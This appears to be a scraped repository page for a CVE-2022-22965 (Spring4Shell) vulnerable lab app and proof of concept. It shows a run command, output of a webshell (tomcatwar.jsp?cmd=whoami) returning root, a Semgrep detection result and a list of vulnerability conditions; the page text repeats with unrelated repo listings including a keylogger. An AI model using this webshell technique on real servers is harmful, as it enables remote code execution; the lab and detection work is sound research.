CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

Cookiecutter for creating open source Python packages

Scan publicly accessible assets on your AWS cloud environment

A Python application to predict what is cooking

Phishing-Crack tools to punish friends

A proxy for asyncio.AbstractEventLoop for testing purposes

Internal network honeypot for detecting if an attacker or insider threat scans your network for log4j CVE-2021-44228

Python library to remotely extract credentials on a set of hosts.

Delta Sharing: An Open Protocol for Secure Data Sharing

Trainspotting - Python Dependency Injector based on interface binding

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

Anti-Nuke capabilities, powerful moderation features, auto punishments, captcha-verification and more.

Proof of Concept Exploit for ManageEngine ServiceDesk Plus CVE-2021-44077

🔍 IRIS: An open-source intelligence framework

Um keylogger que se disfarça de um app que tira print da tela.

Malware Configuration And Payload Extraction

Buffer Overflow para SLmail5.5 32 bits

A small Python Script To get all levels of subdomains from a list

FOSSLight Scanner performs open source analysis after downloading the source by passing a link that can be cloned by wget or git.

Early days of an Asset Discovery tool.

A dynamic multi-STL, multi-process OpenSCAD build system with autoplating support

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

Cookiecutter for creating open source Python packages

Scan publicly accessible assets on your AWS cloud environment

A Python application to predict what is cooking

Phishing-Crack tools to punish friends

A proxy for asyncio.AbstractEventLoop for testing purposes

Internal network honeypot for detecting if an attacker or insider threat scans your network for log4j CVE-2021-44228

Python library to remotely extract credentials on a set of hosts.

Delta Sharing: An Open Protocol for Secure Data Sharing

Trainspotting - Python Dependency Injector based on interface binding

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

Anti-Nuke capabilities, powerful moderation features, auto punishments, captcha-verification and more.

Proof of Concept Exploit for ManageEngine ServiceDesk Plus CVE-2021-44077

🔍 IRIS: An open-source intelligence framework

Um keylogger que se disfarça de um app que tira print da tela.

Malware Configuration And Payload Extraction

Buffer Overflow para SLmail5.5 32 bits

A small Python Script To get all levels of subdomains from a list

FOSSLight Scanner performs open source analysis after downloading the source by passing a link that can be cloned by wget or git.

Early days of an Asset Discovery tool.

A dynamic multi-STL, multi-process OpenSCAD build system with autoplating support

Vulnerable app requirements¹